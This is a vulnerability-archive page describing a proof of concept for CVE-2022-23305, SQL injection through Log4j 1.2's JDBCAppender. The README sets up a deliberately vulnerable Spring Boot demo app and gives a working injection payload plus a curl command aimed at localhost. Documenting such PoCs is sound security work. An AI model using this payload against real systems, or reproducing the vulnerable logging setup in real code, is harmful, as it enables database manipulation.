目标达成 感谢每一位支持者 — 我们达成了 100% 目标!

目标: 1000 元 · 已筹: 1336

100%

CVE-2022-23305 PoC — Apache Log4j SQL注入漏洞

来源
关联漏洞
标题: Apache Log4j SQL注入漏洞 (CVE-2022-23305)
Description:Apache Log4j是美国阿帕奇(Apache)基金会的一款基于Java的开源日志记录工具。 Apache Log4j 存在SQL注入漏洞,该漏洞源于 Log4j 1.2.x 中的 JDBCAppender 接受 SQL 语句作为配置参数,其中要插入的值是来自 PatternLayout 的转换器。 消息转换器 %m 可能总是包含在内。 这允许攻击者通过将精心制作的字符串输入到记录的应用程序的输入字段或标题中来操纵 SQL,从而允许执行意外的 SQL 查询。 请注意,此问题仅在专门配置为使用 JDBC
Description
CVE-2022-23305 Log4J JDBCAppender SQl injection POC 
介绍
# CVE-2022-23305 Log4j JDBCAppender sql injection POC

This is a very simple Spring Boot based application that demonstrates the CVE-2022-23305 vulnerability. It uses Apache Maven, Spring Boot, Spring MVC, and the H2 in-memory database to log one simple entry, taken as a URL query string parameter. Since Log4J is configured to use a JDBCAppender, it is vulnerable to SQL injection.

See src/main/java/poc/InjectionController.java for the logging statement.  
See src/main/resource folder for all the configuration files.

You can run the application using Java and Maven by running "mvn clean spring-boot:run".  
You can also run it as a Docker application such as:  
 docker build --tag log4j-poc .  
 docker run -p 8080:8080 log4j-poc  

The app will be available at http://localhost:8080/.  
To exploit the vulnerability, submit an injected sql statement as the parameter which is getting logged:  
 "http://localhost:8080/?param=');insert into logs values(':("  
The return will list the added log entries, containing one that was added by the sql injected into the parameter.  
To do the same with curl use:  
 curl 'http://localhost:8080/?param=%27);insert%20into%20logs%20values(%27:('  
文件快照

登录后查看神龙缓存的 POC 文件快照

登录查看
备注
    1. 建议优先通过来源进行访问。
    2. 本地 POC 快照面向订阅用户开放;当原始来源失效或无法访问时,本地镜像作为订阅权益的一部分提供。
    3. 持续抓取、验证、维护这份 POC 档案需要不少投入,因此本地快照已纳入付费订阅。您的订阅是让这份资料能继续走下去的关键,由衷感谢。 查看订阅方案 →